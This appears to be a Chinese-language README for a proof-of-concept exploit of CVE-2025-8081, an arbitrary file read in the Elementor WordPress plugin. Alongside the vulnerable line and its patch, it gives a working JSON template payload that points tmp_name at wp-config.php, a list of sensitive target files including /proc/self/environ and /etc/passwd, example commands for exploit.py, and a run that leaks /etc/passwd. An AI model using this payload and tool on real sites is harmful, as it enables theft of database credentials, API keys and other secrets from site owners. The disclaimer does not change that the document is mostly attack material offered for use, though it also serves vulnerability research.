| 属性 | 值 |
|---|
| CVE ID | CVE-2025-8081 |
| 类型 | 任意文件读取(CWE-22:路径遍历) |
| CVSS 评分 | 4.9(中危)- 实际影响:严重 |
| CVSS 向量 | AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N |
| 受影响版本 | Elementor ≤ 3.30.2 |
| 修复版本 | Elementor ≥ 3.30.3 |
| 发布日期 | 2025 年 7 月 22 日 |
| 披露日期 | 2025 年 10 月 15 日 |
wp-config.php 可获取数据库凭据和安全密钥该漏洞存在于单个文件的单行代码中:
elementor/includes/template-library/classes/class-import-images.php
第 115 行(v3.28.3)
if ( isset( $attachment['tmp_name'] ) ) {
// Used when called to import a directly-uploaded file.
$filename = $attachment['name'];
$file_content = Utils::file_get_contents( $attachment['tmp_name'] ); // ❌ NO VALIDATION!
}
问题:tmp_name 参数未使用 is_uploaded_file() 进行验证,允许攻击者指定任意文件路径。
if ( isset( $attachment['tmp_name'] ) ) {
// Used when called to import a directly-uploaded file.
$filename = $attachment['name'];
$file_content = false;
// security validation in case the tmp_name has been tampered with
if ( is_uploaded_file( $attachment['tmp_name'] ) ) { // ✅ VALIDATION ADDED!
$file_content = Utils::file_get_contents( $attachment['tmp_name'] );
}
}
修复方案:该补丁添加了 is_uploaded_file() 验证,以确保 tmp_name 指向合法的 HTTP POST 上传文件。
{
"content": [{
"id": "s1",
"elType": "section",
"settings": [],
"elements": [{
"id": "c1",
"elType": "column",
"settings": {"_column_size": 100},
"elements": [{
"id": "w1",
"elType": "widget",
"widgetType": "image",
"settings": {
"image": {
"url": "http://x.com/x.jpg",
"id": 1,
"tmp_name": "/var/www/html/wp-config.php",
"name": "leaked_config.txt"
}
},
"elements": []
}]
}]
}],
"version": "0.4",
"type": "page"
}
payload.json)leaked_config.txt结果:包含数据库凭据的 wp-config.php 内容被泄露!
| 文件 | 描述 | 影响 |
|---|---|---|
/var/www/html/wp-config.php | WordPress 配置 | 🔴 严重 - 数据库凭据 |
/proc/self/environ | 环境变量 | 🔴 严重 - API 密钥、机密信息 |
| 文件 | 描述 | 影响 |
|---|---|---|
/etc/passwd | 系统用户 | 🟠 高 - 用户枚举 |
/var/www/html/.htaccess | Web 服务器配置 | 🟠 高 - 配置泄露 |
/var/log/apache2/access.log | Apache 日志 | 🟡 中 - 信息泄露 |
python3 exploit.py -t https://target.com -u admin -p password123
必需参数:
-t, --target URL 目标 WordPress URL(例如:https://target.com)
-u, --user USERNAME WordPress 管理员用户名
-p, --password PASS WordPress 管理员密码
可选参数:
-f, --file PATH 要读取的文件(默认:/var/www/html/wp-config.php)
-o, --output FILE 输出文件名(默认:自动生成)
--insecure, -k 禁用 SSL 证书验证
-v, --verbose 启用详细输出以进行调试
-h, --help 显示帮助信息
# 基本利用(使用默认载荷读取 wp-config.php)
python3 exploit.py -t http://target.com -u admin -p password123
# 自定义目标文件
python3 exploit.py -t http://target.com -u admin -p password123 -f /etc/passwd
# 使用 HTTPS 和自签名证书
python3 exploit.py -t https://target.com -u admin -p password123 --insecure
# 详细模式并自定义输出
python3 exploit.py -t http://target.com -u admin -p password123 \
-f /etc/passwd -o users.txt -v
# 从 OrbStack/Docker 攻击宿主机
python3 exploit.py -t http://host.internal:8080 -u admin -p password123 -v
Kali:~$ python3 exploit.py -t http://host.internal:8080 -u admin -p admin123 -f /etc/passwd
======================================================================
CVE-2025-8081 - Elementor Arbitrary File Read
======================================================================
Target: http://host.internal:8080
File: /etc/passwd
======================================================================
[INFO] Attempting WordPress authentication...
[SUCCESS] ✓ Authentication successful!
[INFO] Fetching AJAX nonce...
[INFO] Loading payload: payload.json
[INFO] Uploading malicious template...
[SUCCESS] ✓ Template uploaded successfully!
[INFO] Searching for leaked file: leaked_passwd.txt
[SUCCESS] ✓ Found file: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
[INFO] Downloading file...
[SUCCESS] ✓ Downloaded 839 bytes
======================================================================
EXPLOITATION SUCCESSFUL!
======================================================================
File URL: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
File size: 839 bytes
Saved to: leaked_passwd.txt
--- FILE CONTENT (first 500 chars) ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin
--- END ---
======================================================================
仅供教育和授权测试使用
本工具仅用于安全研究和渗透测试目的。未经事先双方同意而使用本工具攻击目标属于违法行为。
遵守所有适用的地方、州和联邦法律是最终用户的责任。
使用本工具即表示您同意合法且合乎道德地使用它。
最后更新:2025 年 10 月 17 日